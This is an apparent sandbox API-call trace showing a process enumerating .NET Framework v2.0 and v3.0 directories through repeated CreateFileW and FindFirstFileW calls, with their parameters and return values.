	[0087.292] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\app_globalresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.292] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe73f650, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfead16c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfead16c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.293] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.293] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe73f650, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb1d974, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb1d974, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.304] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.305] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7657aa, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7657aa, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7657aa, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.305] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\providers\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.305] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7657aa, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb69c28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb69c28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.312] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.312] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7657aa, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7b1a5e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7b1a5e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.315] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.315] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7657aa, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb1d974, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb1d974, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.320] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.320] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe78b904, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe78b904, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe78b904, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.320] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.320] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*", lpFindFileData=0x126c1788 | out: lpFindFileData=0x126c1788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe78b904, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb43ace, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb43ace, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.321] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\roles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.321] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe78b904, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe78b904, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe78b904, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.322] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\roles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.322] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*", lpFindFileData=0x126c1788 | out: lpFindFileData=0x126c1788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe78b904, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb43ace, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb43ace, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.324] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.324] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7b1a5e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7b1a5e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7b1a5e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.324] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.324] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*", lpFindFileData=0x126c1788 | out: lpFindFileData=0x126c1788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7b1a5e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfebb5edc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.331] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\wizard"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.331] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7b1a5e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7b1a5e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7b1a5e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.331] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\security\\wizard\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.331] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*", lpFindFileData=0x126c1788 | out: lpFindFileData=0x126c1788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7b1a5e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb69c28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb69c28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.347] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.347] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7b1a5e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3faacee2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3faacee2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.349] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\Browsers" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\browsers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.350] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\Browsers\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebdc036, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfebdc036, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.396] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.396] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec02190, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec02190, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.399] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.399] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7d7bb8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7d7bb8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.400] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mui\\0409"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.400] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec7459e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.409] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.409] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x91d13708, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x91d13708, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.412] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.412] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81188d30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81188d30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.471] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.471] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\*", lpFindFileData=0x126c1918 | out: lpFindFileData=0x126c1918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.472] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.472] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.476] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\xamlviewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.476] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x92c664c4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x92c664c4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.477] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.477] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\en-US\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.478] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows communication foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
